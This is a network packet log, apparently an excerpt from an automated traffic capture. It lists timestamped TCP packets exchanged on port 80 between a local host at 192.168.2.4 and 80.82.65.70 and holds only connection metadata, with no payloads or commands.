Dec 10, 2024 04:49:46.214416981 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.214448929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.214492083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.215174913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.215218067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.215317965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.215361118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.216067076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.216116905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.216198921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.216242075 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.216880083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.216941118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.216970921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.217015982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.217675924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.217724085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.217799902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.217838049 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.218529940 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.218585014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.218626022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.218668938 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.219355106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.219396114 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.219422102 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.219460964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.220244884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.220284939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.220365047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.220406055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.221061945 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.221112967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.221144915 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.221185923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.221867085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.221911907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.254348040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.254412889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.254443884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.254486084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.254784107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.254827976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.254903078 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.254946947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.255584002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.255630016 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.255637884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.255680084 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.256427050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.256472111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.256547928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.256649017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.257266998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.257313013 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.257350922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.257392883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.258094072 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.258142948 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.258204937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.258244991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.258960962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.259005070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.259042978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.259083986 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.259794950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.259835005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.259919882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.259958982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.261782885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.261805058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.261821985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.261835098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.261909962 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.261931896 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.261949062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.261970997 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.262425900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.262481928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.262509108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.262542963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.263144970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.263186932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.263334990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.263375044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.264019966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.264060974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.264102936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.264143944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.264882088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.264916897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.325861931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.325917959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.325927019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.325951099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.326205015 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.326255083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.326339960 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.326385021 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.327064037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.327107906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.327207088 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.327250957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.327883959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.327927113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.327958107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.328002930 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.328708887 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.328757048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.328835011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.328879118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.329566002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.329612017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.329696894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.329739094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.330394983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.330440998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.330523014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.330564022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.331240892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.331283092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.331371069 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.331409931 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.332077980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.332115889 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.332190990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.332227945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.332963943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.332999945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.333029985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.333069086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.333796024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.333853960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.333894968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.333935976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.334619045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.334690094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.334768057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.334809065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.335464001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.335508108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.335536957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.335577011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.336306095 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.336342096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.336407900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.336446047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.337110043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.337150097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.337222099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.337260962 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.337940931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.337984085 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.338057995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.338099957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.338829041 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.338885069 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.338917971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.338968992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.339627981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.339674950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.339756012 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.339801073 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.340470076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.340517998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.340569973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.340620995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.341331005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.341377974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.341411114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.341463089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.342135906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.342179060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.342297077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.342340946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.343004942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.343044996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.343066931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.343111038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.343838930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.343883991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.343957901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.344002008 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.344662905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.344710112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.344772100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.344814062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.345506907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.345609903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.345622063 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.345665932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.346796989 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.346844912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.347352982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.347372055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.347379923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.347397089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.347415924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.403542995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.403748035 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.403772116 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.403815985 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.403883934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.403934956 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.404032946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.404078960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.404129982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.404175043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.404881001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.404927015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.405005932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.405052900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.405726910 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.405771971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.405827999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.405874968 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.406549931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.406595945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.406687021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.406733990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.407378912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.407426119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.407567978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.407613039 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.408277988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.408323050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.408354998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.409102917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.409146070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.409214020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.409260988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.409943104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.409986019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.410032988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.410073996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.410758972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.410907984 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.410926104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.410964012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.411636114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.411717892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.411792040 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.412444115 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.412491083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.412528038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.412689924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.413322926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.413367033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.413427114 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.413552046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.414091110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.414138079 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.440399885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.440411091 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.440680027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.440728903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.440763950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.440793991 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.440809965 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.441473007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.441517115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.441531897 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.441575050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.442362070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.442405939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.442439079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.442483902 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.443155050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.443201065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.443239927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.443283081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.443962097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.444077969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.444128990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.444844961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.444863081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.444892883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.444926977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.445733070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.445785046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.445827007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.446487904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.446645975 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.446697950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.447336912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.447386980 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.447438955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.447479963 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.448173046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.448221922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.448292017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.448331118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.449033022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.449049950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.449075937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.449096918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.449836969 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.450012922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.450062037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.450674057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.450859070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.518029928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.518208027 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.518246889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.518292904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.518496990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.518508911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.518552065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.519193888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.519243002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.519293070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.519340038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.520006895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.520056009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.520111084 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.520169973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.520874023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.520968914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.521015882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.521671057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.521716118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.521784067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.521833897 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.522561073 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.522608995 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.522645950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.522690058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.523433924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.523480892 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.523510933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.523564100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.524209023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.524303913 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.524373055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.524373055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.525052071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.525101900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.525144100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.525271893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.525882959 CET	80	49730	80.82.65.70	192.168.2.4
